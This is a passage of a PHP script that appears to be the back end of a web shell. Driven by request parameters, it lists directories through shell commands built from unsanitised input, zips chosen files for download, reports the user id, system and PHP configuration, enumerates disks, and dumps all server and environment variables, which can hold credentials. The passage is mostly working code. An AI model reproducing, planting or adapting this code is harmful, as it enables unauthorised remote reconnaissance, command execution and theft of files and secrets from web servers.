$files = preg_split("/\s+/", $ffrs, -1, PREG_SPLIT_NO_EMPTY);
$output = make_zip($files);
echo $output;
}
if (!empty($dfr))
{
if (!$use_exec)
{
$dfr = trim($dfr);
$output .= safe_dir($dfr);
}
if (!$safe_mode && empty($output))
{
if ($unix)
{
$output .= command("ls -liaL $dfr");
} else {
$output .= command("dir /a $dfr");
}
}
if ($compress) compress($output);
echo $output;
}
if (!empty($dfra))
{
$recur_limit = !empty($_REQUEST['rlimit']) ? $_REQUEST['rlimit'] : 0;
if (!$use_exec)
{
$dfra = trim($dfra);
$output .= safe_dir($dfra, true, $recur_limit);
}
if (!$safe_mode && empty($output))
{
if ($unix)
{
$output .= command("ls -liRaL $dfra");
} else {
$output .= command("dir /S /a $dfra");
}
}
if ($compress) compress($output);
echo $output;
}
if (!empty($info))
{
$output = '';
switch ($info)
{
case 'ver':
$output = $version;
if ($safe_mode) $output .= " (safe mode)";
break;
case 'uname':
$output = get_uname();
break;
case 'id':
if (!$safe_mode)
{
if($unix) {
$output = command("id");
} else {
$output = command("whoami");
}
$output = trim($output);
}
if (empty($output))
{
$found = 0;
if (function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
{
$euserinfo = @posix_getpwuid(@posix_geteuid());
$egroupinfo = @posix_getgrgid(@posix_getegid());
if ($euserinfo || $egroupinfo)
{
$output = 'uid='.$euserinfo['uid'].'('.$euserinfo['name'].') gid='.$egroupinfo['gid'].'('.$egroupinfo['name'].')';
$found = 1;
}
}
if (!$found)
{
if (function_exists('get_current_user'))
$output .= "user=".@get_current_user();
if (function_exists('getmyuid'))
$output .= " uid=".@getmyuid();
if (function_exists('getmygid'))
$output .= " gid=".@getmygid();
}
}
break;
case 'pwd':
$output = get_cwd();
break;
case 'safe-mode':
$output = $safe_mode ? '1' : '0';
break;
case 'unix-os':
$output = $unix ? '1': '0';
break;
case 'php-info':
$output = @phpinfo(-1);
break;
case 'php-ini':
if (function_exists('ini_get_all'))
{
foreach (@ini_get_all() as $key=>$value)
{
$output .= "$key"."".U_value($value['local_value'])."".U_value($value['global_value'])."\n";
}
}
break;
case 'disk':
$name = $REQUEST['rname'];
if (empty($name))
if ($unix)
$name = "/";
else
$name = "\\";
$output = @disk_free_space($name)."/".@disk_total_space($name);
break;
case 'disk-list':
for ($disk = 'C'; $disk < 'Z'; ++$disk)
{
if (@disk_total_space("$disk:"))
{
$output .= "$disk:\n";
}
}
break;
case 'env':
if ($_SERVER)
{
foreach ($_SERVER as $key=>$value)
{
$output .= "$key:".U_value($value)."\n";
}
} else {
global $HTTP_SERVER_VARS;
foreach ($HTTP_SERVER_VARS as $key=>$value)
{
$output .= "$key:".U_value($value)."\n";
}
}
$cmdenv = '';
if (!$safe_mode)
{
if ($unix) $cmdenv = command('env');
else $cmdenv = command('set');
}
if (!empty($cmdenv))
{
$output .= @join(":", split("=", $cmdenv));
} else {
if ($_ENV)
{
foreach ($_ENV as $key=>$value)
{
$output .= "$key:".U_value($value)."\n";
}
} else {
global $HTTP_ENV_VARS;
foreach ($HTTP_ENV_VARS as $key=>$value)
{
$output .= "$key:".U_value($value)."\n";
}
}
}
break;
}
if ($compress) compress($output);
echo $output;
}
if ($envelope)
{
echo '__STOP__9034785902347509238476034857607834__STOP__';
die;
}
?>